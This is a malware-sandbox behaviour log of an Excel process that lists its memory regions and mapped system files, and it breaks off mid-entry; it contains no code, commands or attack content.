# Flog Txt Version 1
# Analyzer Version: 2.3.2
# Analyzer Build Date: Oct 25 2018 12:55:11
# Log Creation Date: 06.11.2018 08:00:24.956

Process:
	id = "1"
	image_name = "excel.exe"
	filename = "c:\\program files\\microsoft office\\root\\office16\\excel.exe"
	page_root = "0x312c8000"
	os_pid = "0x8e4"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\""
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 134
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 135
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 136
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 137
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 138
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 139
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 140
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 141
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000e0000"
	        filename = ""

Region:
	              id = 142
	        start_va = 0xf0000
	          end_va = 0xf6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 143
	        start_va = 0x100000
	          end_va = 0x101fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000100000"
	        filename = ""

Region:
	              id = 144
	        start_va = 0x110000
	          end_va = 0x110fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 145
	        start_va = 0x120000
	          end_va = 0x120fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000120000"
	        filename = ""

Region:
	              id = 146
	        start_va = 0x130000
	          end_va = 0x132fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000130000"
	        filename = ""

Region:
	              id = 147
	        start_va = 0x140000
	          end_va = 0x14ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 148
	        start_va = 0x150000
	          end_va = 0x152fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000150000"
	        filename = ""

Region:
	              id = 149
	        start_va = 0x160000
	          end_va = 0x162fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000160000"
	        filename = ""

Region:
	              id = 150
	        start_va = 0x170000
	          end_va = 0x172fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000170000"
	        filename = ""

Region:
	              id = 151
	        start_va = 0x180000
	          end_va = 0x182fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000180000"
	        filename = ""

Region:
	              id = 152
	        start_va = 0x190000
	          end_va = 0x28ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000190000"
	        filename = ""

Region:
	              id = 153
	        start_va = 0x290000
	          end_va = 0x292fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000290000"
	        filename = ""

Region:
	              id = 154
	        start_va = 0x2a0000
	          end_va = 0x2a1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000002a0000"
	        filename = ""

Region:
	              id = 155
	        start_va = 0x2b0000
	          end_va = 0x2b1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000002b0000"
	        filename = ""

Region:
	              id = 156
	        start_va = 0x2c0000
	          end_va = 0x2c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002c0000"
	        filename = ""

Region:
	              id = 157
	        start_va = 0x2d0000
	          end_va = 0x30ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 158
	        start_va = 0x310000
	          end_va = 0x40ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000310000"
	        filename = ""

Region:
	              id = 159
	        start_va = 0x410000
	          end_va = 0x50ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000410000"
	        filename = ""

Region:
	              id = 160
	        start_va = 0x510000
	          end_va = 0x51ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000510000"
	        filename = ""

Region:
	              id = 161
	        start_va = 0x520000
	          end_va = 0x6a7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000520000"
	        filename = ""

Region:
	              id = 162
	        start_va = 0x6b0000
	          end_va = 0x830fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006b0000"
	        filename = ""

Region:
	              id = 163
	        start_va = 0x840000
	          end_va = 0x1c3ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000840000"
	        filename = ""

Region:
	              id = 164
	        start_va = 0x1c40000
	          end_va = 0x1f0efff
	     entry_point = 0x1c40000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 165
	        start_va = 0x1f10000
	          end_va = 0x2302fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001f10000"
	        filename = ""

Region:
	              id = 166
	        start_va = 0x2310000
	          end_va = 0x2310fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002310000"
	        filename = ""

Region:
	              id = 167
	        start_va = 0x2320000
	          end_va = 0x2320fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002320000"
	        filename = ""

Region:
	              id = 168
	        start_va = 0x2330000
	          end_va = 0x2330fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002330000"
	        filename = ""

Region:
	              id = 169
	        start_va = 0x2340000
	          end_va = 0x2340fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002340000"
	        filename = ""

Region:
	              id = 170
	        start_va = 0x2350000
	          end_va = 0x2351fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002350000"
	        filename = ""

Region:
	              id = 171
	        start_va = 0x2360000
	          end_va = 0x236bfff
	     entry_point = 0x2360000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")

Region:
	              id = 172
	        start_va = 0x2370000
	          end_va = 0x2377fff
	     entry_point = 0x2370000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")

Region:
	              id = 173
	        start_va = 0x2380000
	          end_va = 0x238ffff
	     entry_point = 0x2380000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")

Region:
	              id = 174
	        start_va = 0x2390000
	          end_va = 0x2390fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002390000"
	        filename = ""

Region:
	              id = 175
	        start_va = 0x23a0000
	          end_va = 0x23a4fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000023a0000"
	        filename = ""

Region:
	              id = 176
	        start_va = 0x23b0000
	          end_va = 0x23b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023b0000"
	        filename = ""

Region:
	              id = 177
	        start_va = 0x23c0000
	          end_va = 0x23c1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000023c0000"
	        filename = ""

Region:
	              id = 178
	        start_va = 0x23d0000
	          end_va = 0x23d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023d0000"
	        filename = ""

Region:
	              id = 179
	        start_va = 0x23e0000
	          end_va = 0x23effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023e0000"
	        filename = ""

Region:
	              id = 180
	        start_va = 0x23f0000
	          end_va = 0x24effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023f0000"
	        filename = ""

Region:
	              id = 181
	        start_va = 0x24f0000
	          end_va = 0x26effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000024f0000"
	        filename = ""

Region:
	              id = 182
	        start_va = 0x26f0000
	          end_va = 0x26f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000026f0000"
	        filename = ""

Region:
	              id = 183
	        start_va = 0x2700000
	          end_va = 0x2700fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002700000"
	        filename = ""

Region:
	              id = 184
	        start_va = 0x2710000
	          end_va = 0x2710fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002710000"
	        filename = ""

Region:
	              id = 185
	        start_va = 0x2720000
	          end_va = 0x2720fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002720000"
	        filename = ""

Region:
	              id = 186
	        start_va = 0x2730000
	          end_va = 0x2733fff
	     entry_point = 0x2730000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 187
	        start_va = 0x2740000
	          end_va = 0x276ffff
	     entry_point = 0x2740000
	     region_type = mapped_file
	            name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db")

Region:
	              id = 188
	        start_va = 0x2770000
	          end_va = 0x2773fff
	     entry_point = 0x2770000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 189
	        start_va = 0x2780000
	          end_va = 0x2780fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002780000"
	        filename = ""

Region:
	              id = 190
	        start_va = 0x2790000
	          end_va = 0x280ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002790000"
	        filename = ""

Region:
	              id = 191
	        start_va = 0x2810000
	          end_va = 0x28eefff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002810000"
	        filename = ""

Region:
	              id = 192
	        start_va = 0x28f0000
	          end_va = 0x2955fff
	     entry_point = 0x28f0000
	     region_type = mapped_file
	            name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db")

Region:
	              id = 193
	        start_va = 0x2960000
	          end_va = 0x2961fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002960000"
	        filename = ""

Region:
	              id = 194
	        start_va = 0x2970000
	          end_va = 0x297cfff
	     entry_point = 0x2970000
	     region_type = mapped_file
	            name = "comdlg32.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\comdlg32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\comdlg32.dll.mui")

Region:
	              id = 195
	        start_va = 0x2980000
	          end_va = 0x2981fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002980000"
	        filename = ""

Region:
	              id = 196
	        start_va = 0x2990000
	          end_va = 0x2a8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002990000"
	        filename = ""

Region:
	              id = 197
	        start_va = 0x2a90000
	          end_va = 0x2b8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a90000"
	        filename = ""

Region:
	              id = 198
	        start_va = 0x2b90000
	          end_va = 0x2b91fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002b90000"
	        filename = ""

Region:
	              id = 199
	        start_va = 0x2ba0000
	          end_va = 0x2ba0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002ba0000"
	        filename = ""

Region:
	              id = 200
	        start_va = 0x2bb0000
	          end_va = 0x2bb0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002bb0000"
	        filename = ""

Region:
	              id = 201
	        start_va = 0x2bc0000
	          end_va = 0x2bcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002bc0000"
	        filename = ""

Region:
	              id = 202
	        start_va = 0x2bd0000
	          end_va = 0x2bd1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002bd0000"
	        filename = ""

Region:
	              id = 203
	        start_va = 0x2be0000
	          end_va = 0x2be0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002be0000"
	        filename = ""

Region:
	              id = 204
	        start_va = 0x2bf0000
	          end_va = 0x2ceffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002bf0000"
	        filename = ""

Region:
	              id = 205
	        start_va = 0x2cf0000
	          end_va = 0x3d37fff
	     entry_point = 0x2cf0000
	     region_type = mapped_file
	            name = "xlintl32.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlintl32.dll")

Region:
	              id = 206
	        start_va = 0x3d40000
	          end_va = 0x3e3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d40000"
	        filename = ""

Region:
	              id = 207
	        start_va = 0x3e40000
	          end_va = 0x3f3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003e40000"
	        filename = ""

Region:
	              id = 208
	        start_va = 0x3f40000
	          end_va = 0x3f50fff
	     entry_point = 0x3f40000
	     region_type = mapped_file
	            name = "c_1255.nls"
	        filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls")

Region:
	              id = 209
	        start_va = 0x3f60000
	          end_va = 0x3f61fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003f60000"
	        filename = ""

Region:
	              id = 210
	        start_va = 0x3f70000
	          end_va = 0x3f8ffff
	     entry_point = 0x3f70000
	     region_type = mapped_file
	            name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db")

Region:
	              id = 211
	        start_va = 0x3f90000
	          end_va = 0x408ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003f90000"
	        filename = ""

Region:
	              id = 212
	        start_va = 0x4090000
	          end_va = 0x410efff
	     entry_point = 0x4090000
	     region_type = mapped_file
	            name = "segoeui.ttf"
	        filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf")

Region:
	              id = 213
	        start_va = 0x4110000
	          end_va = 0x418ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004110000"
	        filename = ""

Region:
	              id = 214
	        start_va = 0x4190000
	          end_va = 0x4190fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004190000"
	        filename = ""

Region:
	              id = 215
	        start_va = 0x41a0000
	          end_va = 0x41a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000041a0000"
	        filename = ""

Region:
	              id = 216
	        start_va = 0x41b0000
	          end_va = 0x41b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000041b0000"
	        filename = ""

Region:
	              id = 217
	        start_va = 0x41c0000
	          end_va = 0x42bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000041c0000"
	        filename = ""

Region:
	              id = 218
	        start_va = 0x42c0000
	          end_va = 0x42c1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000042c0000"
	        filename = ""

Region:
	              id = 219
	        start_va = 0x42d0000
	          end_va = 0x42d1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000042d0000"
	        filename = ""

Region:
	              id = 220
	        start_va = 0x42e0000
	          end_va = 0x42e1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000042e0000"
	        filename = ""

Region:
	              id = 221
	        start_va = 0x42f0000
	          end_va = 0x42f1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000042f0000"
	        filename = ""

Region:
	              id = 222
	        start_va = 0x4300000
	          end_va = 0x4300fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004300000"
	        filename = ""

Region:
	              id = 223
	        start_va = 0x4310000
	          end_va = 0x440ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004310000"
	        filename = ""

Region:
	              id = 224
	        start_va = 0x4410000
	          end_va = 0x4411fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004410000"
	        filename = ""

Region:
	              id = 225
	        start_va = 0x4420000
	          end_va = 0x4420fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004420000"
	        filename = ""

Region:
	              id = 226
	        start_va = 0x4430000
	          end_va = 0x452ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004430000"
	        filename = ""

Region:
	              id = 227
	        start_va = 0x4530000
	          end_va = 0x4531fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004530000"
	        filename = ""

Region:
	              id = 228
	        start_va = 0x4540000
	          end_va = 0x4540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004540000"
	        filename = ""

Region:
	              id = 229
	        start_va = 0x4550000
	          end_va = 0x4551fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004550000"
	        filename = ""

Region:
	              id = 230
	        start_va = 0x4560000
	          end_va = 0x4560fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004560000"
	        filename = ""

Region:
	              id = 231
	        start_va = 0x4570000
	          end_va = 0x4570fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004570000"
	        filename = ""

Region:
	              id = 232
	        start_va = 0x4580000
	          end_va = 0x4580fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004580000"
	        filename = ""

Region:
	              id = 233
	        start_va = 0x4590000
	          end_va = 0x4590fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004590000"
	        filename = ""

Region:
	              id = 234
	        start_va = 0x45a0000
	          end_va = 0x45affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000045a0000"
	        filename = ""

Region:
	              id = 235
	        start_va = 0x45b0000
	          end_va = 0x45b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000045b0000"
	        filename = ""

Region:
	              id = 236
	        start_va = 0x45c0000
	          end_va = 0x45c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000045c0000"
	        filename = ""

Region:
	              id = 237
	        start_va = 0x45d0000
	          end_va = 0x45d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000045d0000"
	        filename = ""

Region:
	              id = 238
	        start_va = 0x45e0000
	          end_va = 0x465ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000045e0000"
	        filename = ""

Region:
	              id = 239
	        start_va = 0x4660000
	          end_va = 0x4671fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004660000"
	        filename = ""

Region:
	              id = 240
	        start_va = 0x4680000
	          end_va = 0x4680fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004680000"
	        filename = ""

Region:
	              id = 241
	        start_va = 0x4690000
	          end_va = 0x4690fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004690000"
	        filename = ""

Region:
	              id = 242
	        start_va = 0x46a0000
	          end_va = 0x471ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000046a0000"
	        filename = ""

Region:
	              id = 243
	        start_va = 0x4720000
	          end_va = 0x4720fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004720000"
	        filename = ""

Region:
	              id = 244
	        start_va = 0x4730000
	          end_va = 0x4730fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004730000"
	        filename = ""

Region:
	              id = 245
	        start_va = 0x4740000
	          end_va = 0x474ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004740000"
	        filename = ""

Region:
	              id = 246
	        start_va = 0x4750000
	          end_va = 0x4b4ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004750000"
	        filename = ""

Region:
	              id = 247
	        start_va = 0x4b50000
	          end_va = 0x4b61fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b50000"
	        filename = ""

Region:
	              id = 248
	        start_va = 0x4b70000
	          end_va = 0x4b70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b70000"
	        filename = ""

Region:
	              id = 249
	        start_va = 0x4b80000
	          end_va = 0x4b80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b80000"
	        filename = ""

Region:
	              id = 250
	        start_va = 0x4b90000
	          end_va = 0x4b90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b90000"
	        filename = ""

Region:
	              id = 251
	        start_va = 0x4ba0000
	          end_va = 0x4ba1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004ba0000"
	        filename = ""

Region:
	              id = 252
	        start_va = 0x4bb0000
	          end_va = 0x4bb2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004bb0000"
	        filename = ""

Region:
	              id = 253
	        start_va = 0x4bc0000
	          end_va = 0x4bc2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004bc0000"
	        filename = ""

Region:
	              id = 254
	        start_va = 0x4bd0000
	          end_va = 0x4ccffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004bd0000"
	        filename = ""

Region:
	              id = 255
	        start_va = 0x4cd0000
	          end_va = 0x50cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004cd0000"
	        filename = ""

Region:
	              id = 256
	        start_va = 0x50d0000
	          end_va = 0x50d2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000050d0000"
	        filename = ""

Region:
	              id = 257
	        start_va = 0x50e0000
	          end_va = 0x50e2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000050e0000"
	        filename = ""

Region:
	              id = 258
	        start_va = 0x50f0000
	          end_va = 0x50fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000050f0000"
	        filename = ""

Region:
	              id = 259
	        start_va = 0x5100000
	          end_va = 0x5101fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005100000"
	        filename = ""

Region:
	              id = 260
	        start_va = 0x5110000
	          end_va = 0x5110fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005110000"
	        filename = ""

Region:
	              id = 261
	        start_va = 0x5120000
	          end_va = 0x5120fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005120000"
	        filename = ""

Region:
	              id = 262
	        start_va = 0x5130000
	          end_va = 0x5130fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005130000"
	        filename = ""

Region:
	              id = 263
	        start_va = 0x5140000
	          end_va = 0x5140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005140000"
	        filename = ""

Region:
	              id = 264
	        start_va = 0x5150000
	          end_va = 0x524ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005150000"
	        filename = ""

Region:
	              id = 265
	        start_va = 0x5250000
	          end_va = 0x530ffff
	     entry_point = 0x5250000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 266
	        start_va = 0x5310000
	          end_va = 0x5310fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005310000"
	        filename = ""

Region:
	              id = 267
	        start_va = 0x5320000
	          end_va = 0x5320fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005320000"
	        filename = ""

Region:
	              id = 268
	        start_va = 0x5330000
	          end_va = 0x5330fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005330000"
	        filename = ""

Region:
	              id = 269
	        start_va = 0x5340000
	          end_va = 0x5340fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005340000"
	        filename = ""

Region:
	              id = 270
	        start_va = 0x5350000
	          end_va = 0x5351fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005350000"
	        filename = ""

Region:
	              id = 271
	        start_va = 0x5360000
	          end_va = 0x5360fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005360000"
	        filename = ""

Region:
	              id = 272
	        start_va = 0x5370000
	          end_va = 0x546ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005370000"
	        filename = ""

Region:
	              id = 273
	        start_va = 0x5470000
	          end_va = 0x54b7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005470000"
	        filename = ""

Region:
	              id = 274
	        start_va = 0x54c0000
	          end_va = 0x54c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000054c0000"
	        filename = ""

Region:
	              id = 275
	        start_va = 0x54d0000
	          end_va = 0x54d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000054d0000"
	        filename = ""

Region:
	              id = 276
	        start_va = 0x54e0000
	          end_va = 0x54e0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000054e0000"
	        filename = ""

Region:
	              id = 277
	        start_va = 0x54f0000
	          end_va = 0x54f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000054f0000"
	        filename = ""

Region:
	              id = 278
	        start_va = 0x5500000
	          end_va = 0x55fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005500000"
	        filename = ""

Region:
	              id = 279
	        start_va = 0x5600000
	          end_va = 0x5647fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005600000"
	        filename = ""

Region:
	              id = 280
	        start_va = 0x5650000
	          end_va = 0x5650fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005650000"
	        filename = ""

Region:
	              id = 281
	        start_va = 0x5660000
	          end_va = 0x5660fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005660000"
	        filename = ""

Region:
	              id = 282
	        start_va = 0x5670000
	          end_va = 0x5670fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005670000"
	        filename = ""

Region:
	              id = 283
	        start_va = 0x5680000
